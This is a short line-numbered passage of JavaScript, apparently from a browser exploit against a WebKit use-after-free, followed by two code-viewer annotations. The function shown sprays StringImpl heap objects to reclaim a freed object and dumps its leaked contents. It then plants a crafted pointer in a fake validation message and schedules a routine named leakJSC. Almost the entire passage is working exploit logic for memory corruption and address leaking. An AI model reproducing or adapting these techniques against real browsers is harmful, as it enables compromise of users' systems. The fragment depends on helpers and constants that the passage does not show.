()
| 295 | * and before deleteBubbleTree |
| 296 | */ |
| 297 | function confuseTargetObjRound1() { |
| 298 | /* Force allocation of StringImpl obj. beyond Timer address */ |
| 299 | sprayStringImpl(SPRAY_STRINGIMPL, SPRAY_STRINGIMPL * 2); |
| 300 | |
| 301 | /* Checking for leaked data */ |
| 302 | if (findTargetObj() === false) |
| 303 | die("[!] Failed to reuse target obj."); |
| 304 | |
| 305 | dumpTargetObj(); |
| 306 | |
| 307 | g_fake_validation_message[4] = g_timer_leak.add(LENGTH_TIMER * 8 + OFFSET_LENGTH_STRINGIMPL + 1 - OFFSET_ELEMENT_REFCOUNT).asDouble(); |
| 308 | |
| 309 | /* |
| 310 | * The timeout must be > 5s because deleteBubbleTree is scheduled to run in |
| 311 | * the next 5s |
| 312 | */ |
| 313 | setTimeout(leakJSC, 6000); |
| 314 | } |
| 315 | |
| 316 | function handle2() { |
| 317 | /* focus elsewhere */ |
nothing calls this directly
no test coverage detected